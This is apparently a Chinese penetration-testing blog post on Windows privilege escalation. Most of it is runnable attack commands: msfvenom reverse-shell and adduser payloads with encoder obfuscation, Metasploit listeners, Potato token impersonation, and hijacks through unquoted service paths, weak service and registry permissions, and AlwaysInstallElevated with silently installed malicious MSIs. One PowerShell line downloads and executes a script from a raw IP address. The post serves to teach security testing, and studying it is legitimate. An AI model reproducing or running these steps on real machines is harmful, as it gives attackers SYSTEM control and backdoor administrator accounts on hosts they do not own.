Windows提权

发布于 2021-04-20  574 次阅读


《渗透测试》目录

权限提升概述    

权限提升(privilege escalation):攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权限的管理员用户,从而获得对整个系统得控制权。        

Windows:user --> administrator
Linux:user --> root

 提权类别        

本地提权:在一个低权限用户下,通过一些条件(应用程序漏洞、系统漏洞等)直接提升到系统最高权限。        

远程提权:攻击者通过漏洞利用程序直接获取远程服务器的权限。

操作系统提权:
Windows:MS06-067、MS10-084、MS11-014、MS11-05、MS12-020、MS16-032等
Linux:CVE-2017-7308、CVE-2017-6074、CVE-2017-5123、CVE-2016-9793、CVE-2016-5195等
应用程序提权:Seru-u、SQL Server、MySQL、Oracle、Java、IE

提权条件

  • 拥有Webshell,普通用户权限
  • 拥有某些软件的账号密码
  • 本地或远程服务器上存在漏洞
  • 拥有漏洞利用工具代码

Windows提权思路

  • 前期信息收集
  • Meterpreter提权
  • Windows系统内核漏洞
  • Windows服务漏洞
  • Windwos注册表

  • Windows提权信息收集
获取一个Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.227 lport=6666 -f exe -o xx.exe -e x86/shikata_ga_nai -i 8
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.227
set LPORT 6666
exploit

运行木马文件xx.exe
Msf获得meterpreter会话
  • WMIC信息收集

WMIC:Windows管理工具命令行,提供了从命令行接口和批命令脚本执行系统管理的支持,对于信息收集和渗透测试是非常实用的。        

wmic信息提取脚本:wmic_info.bat            

提取进程、服务、用户帐号、用户组、网络接口、硬盘信息、网络共享信息、安装Windows补丁、程序在启动运行、安装的软件列表、操作系统、时区等信息。

补丁信息、补丁包过滤
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxx" /C:"KBxxxxxx“
获取杀软名:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName/Format:List
获取杀软名和安装路径:
WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe

wmic group
组帐户管理。
wmic os
已安装操作系统的管理。
wmic process
进程管理
wmic service
服务应用程序管理。
wmic useraccount
用户帐户管理。
wmic startup
当用户登录到计算机系统时自动运行的命令的管理。
wmic nic
网络接口控制器(NIC)管理
  • SC信息收集

SC:用来与服务控制管理器和服务进行通信的命令行程序,检索和设置有关服务的控制信息,测试和调试服务程序,检索服务状态或运行、停止服务,类似于控制面板-管理工具-服务(services.msc)        

获取系统注册服务信息:sc query state= all        (注意state后面不能有空格)

  • 自动信息收集

Host Information Gathering Script:HIGS.bat

https://github.com/myh0st/scripts/blob/master/Windows%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/HIGS.bat        

privilege-escalation-awesome-scripts:winPEAS.bat            

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASbat/winPEAS.bathttps://github.com/M4ximuss/Powerless

  • 提权工具脚本

RottenPotato:将服务帐户本地提权至SYSTEM

load incognito
list_tokens –u
upload /root/rottenpotato.exe .
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
将SYSTEM token添加到impersonate user tokens下

Origin Potato :        https://github.com/foxglovesec/Potato        

RottenPotato & JuicyPotato:        https://github.com/ohpe/juicy-potato        

RoguePotato:        https://github.com/antonioCoco/RoguePotato        

SweetPotato:        https://github.com/CCob/SweetPotato        

Webshell下执行命令:        https://github.com/uknowsec/SweetPotatohttps://github.com/uknowsec/getSystem


  • Windows内核漏洞提权

检查Windows版本是否有任何已知的漏洞:

systeminfo | findstr /B /C:"OS Name" /C:"OS Version“
wmic qfe get Caption,Description,HotFixID,InstalledOn

列出所有补丁:

powershell -c "Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}"

列出安全更新补丁:

powershell -c "Get-Hotfix -description 'Security update'"

msf相应模块:

post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

https://github.com/rasta-mouse/Watson

wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://47.101.214.85/Sherlock.ps1');Find-AllVulns
  • windows-kernel-exploits(Windows平台提权漏洞集合)

https://github.com/SecWiki/windows-kernel-exploits

用来检测目标机器是否有这些漏洞

use post/multi/recon/local_exploit_suggester
set SESSION 1
exploit
优点:省去手动查找的麻烦
缺点:不是所有列出的local exploit都可用
  • Windows系统服务漏洞

可信任服务路径

可信任服务路径:存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限,Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。

例子:
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe
C:\Program.exe
C:\Program Files (x86)\Windows.exe
C:\Program Files (x86)\Windows Folder\Common.exe
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe

利用:通过查找系统服务文件中存在的非引用路径,如果一个服务调用可执行文件,没有正确处理引用的全路径名,则可利用此漏洞。

    1.检查目标主机是否可能存在漏洞:
        wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\"|findstr /i /v """
    2. 检查对有漏洞目录是否有写入权限
        icacls "C:\Program Files (x86)\Program Folder"

        F = 完全控制
        CI = 容器继承 - 此标志指示从属容器将继承此ACE。
        OI = Object Inherit - 这个标志表示从属文件将继承ACE
    3. 生成payload
        msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.123.136 LPORT=9999 -f exe -o A.exe        (文件名为上面最后一个空格之前的名称)
    4. 上传exe到漏洞目录
        upload A.exe 'C:\Program Files (x86)\Program Folder\'
    5.msf开启监听
        handler -H 192.168.123.136 -P 9999 -p windows/meterpreter/reverse_tcp
    6. 重启服务        (必须重启服务之后才能利用成功,或者重启机器       shutdown /r /t 0)
        sc stop "Vulnerable Service”        (服务名称在1.里可查看)
        sc start "Vulnerable Service"
        没有权限重启服务,等待服务器重启或主动重启时执行exe

    如果弹回一个system权限的meterpreter ,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。
    7.设置自动迁移进程,重新开启监听,获取meterpreter        (若不使用自动迁移则需要手速敲命令)
        use exploit/multi/handler
        set autorunscript migrate –f  
  • 不安全的服务权限

Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。        

JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。        

而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以修改服务的属性,将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。

1.利用accesschk工具检查易受到攻击的服务:
  accesschk64.exe -ucqv “当前用户名" * /accepteula
  寻找services_all_access
2.查看可完全控制的服务的属性
  sc qc "Vulnerable Service"
3.修改服务配置执行命令binpath
  BINARY_PATH_NAME参数指向了该服务的可执行程序(Executable.exe)路径。如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行

sc config "Vulnerable Service" binpath= "net user zhangsan 123456 /add"        (参数的等于号之前没有空格)
sc stop "Vulnerable Service"
sc start "Vulnerable Service"

之后可再执行sc config "Vulnerable Service" binpath= "net localgroup Administrators zhangsan /add"

Authenticated Users:指Windows系统中所有使用用户名、密码登录并通过身份验证的账户,不包括来宾账户Guest。也可以使用当前用户用户名来列出所有可以被当前用户修改的服务。            

SERVICE_ALL_ACCESS:意思是我们对 Vulnerable Service 的属性拥有完全控制权            

BINARY_PATH_NAME:参数指向了该服务的可执行程序路径。如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。

  • 不安全的注册表权限

在Windows中,与服务相关的信息存储在HKLM[HKEY_LOCAL_MACHINE]\SYSTEM\CurrentControlSet\Services 注册表项中。 如果我们想查看有关我们的“易受攻击的服务”的信息,我们应该检查 HKLM\SYSTEM\ControlSet\Services\Vulnerable Service 的键值。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
wmic service get displayname,name
工具:
Subinacl:
https://www.microsoft.com/en-us/download/details.aspx?id=23510
上传工具到目标机器:
meterpreter > cd %temp%
meterpreter > pwd
C:\Users\testuser\AppData\Local\Temp
meterpreter > upload -f subinacl.exe
检查注册表项的权限:
subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service" /display
如果对注册表项有写入权限,我们可以通过编辑ImagePath值来更改此服务的可执行路径。

msfvenom生成adduer.exe,然后上传到目标机器,使用我们payload的路径来更改易受攻击的服务的ImagePath值。
msfvenom -p windows/adduser USER=hacker PASS=Hacker123$ -f exe > adduser.exe
meterpreter >upload adduser.exe  C:\\Windows\\Temp\\
meterpreter >shell
meterpreter >reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service" /t REG_EXPAND_SZ /v ImagePath /d "C:\Windows\Temp\adduser.exe" /f

shutdown /r /t 0

重启计算机,adduser.exe以system权限执行。
如果是生成反弹shell的payload,注意设置自动迁移进程

Autorun:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
  • 不安全的文件/文件夹权限

 这与我们用非引用服务路径所做的非常相似。无引号的服务路径利用了“CreateProcess”功能的弱点,以及服务的可执行文件路径的文件夹权限。 但是在这里我们将尝试直接替换可执行文件。        

icacls "C:\Program Files (x86)\Program Folder "        

默认的服务文件是C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe (若有写权限则可直接替换目标程序,也需要进程迁移)        

将“Executable.exe”文件替换成一个反弹shell payload,并且当服务重启时,会给我们返回一个SYSTEM权限的 meterpreter 会话

  • Always Install Elevated

任意用户以NT AUTHORITY\SYSTEM权限安装msi。        

AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。        

MSI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行.exe安装程序

判断是否启用此策略设置:
reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

收到“错误:系统无法找到指定的注册表项或值”的错误,则表示此注册表值从未创建。 说明政策没有启用。

收到“AlwaysInstallElevated REG_DWORD 0x1”,说明策略已经启用。

手动启用Always Install Elevated策略
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
结果:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer (AlwaysInstalledElevated=1)
HKEY_CURRENT_USER\Software\Policies\Microsof\Windows\Installer (AlwaysInstalledElevated=1)

使用msfvenom生成恶意msi程序上传

生成执行此payload的可执行反向shell payload(localmsf8882.exe)和msi程序包(malicious.msi)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.123.136 LPORT=8881 -f exe -o localmsf8882.exe
通过使用windows/exec生成恶意.msi作为 payload:
msfvenom -f msi-nouac -p windows/exec cmd="C:\Users\用户名\AppData\Local\Temp\localmsf8882.exe" > malicious.msi
将这两个上传到我们的目标机器
meterpreter > upload localmsf8882.exe C:\\Users\\用户名\\AppData\\Local\\Temp\\
meterpreter > upload malicious.msi C:\\Users\\用户名\\AppData\\Local\\Temp\\
这里也可以用非反弹shell的msi。例如添加用户
msfvenom -p windows/adduser USER=test PASS=Password@123 --platform windows -a x86 -f msi-nouac -o test.msi
运行恶意程序:        (/quiet不进行交互,安装过程中禁止向用户发送消息;/qn不显示图形界面;/i安装)
msiexec /quiet /qn /i C:\Users\用户名\AppData\Local\temp\malicious.msi

上线的session并不是system权限,进入session后getsystem也无法提权            

进入靶机任务管理器查看,生成的后门localmsf8882.exe,依然是普通用户权限。使用Metasploit生成的msi文件在运行时没有要求提升权限,所以导致了这个问题

使用MSI Wrapper生成msi:        (微软官方程序)            https://www.exemsi.com/downloads/msi_wrapper/MSI_Wrapper_9_0_42_0.msi

1.运行该程序
2.选择生成的exe木马文件
3.根据靶机选择x86还是x64
4.选择Installer User和Elevate Administrator Only(默认)
5.选择Per Machine
6.点击Look Up和Create New,然后任意选择
7.一直点击next,然后build,之后点否
8.生成成功

上传malicious.msi至靶机,运行恶意程序
msiexec /quiet /qn /i C:\Users\用户名\AppData\Local\temp\malicious.msi

提权成功


人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。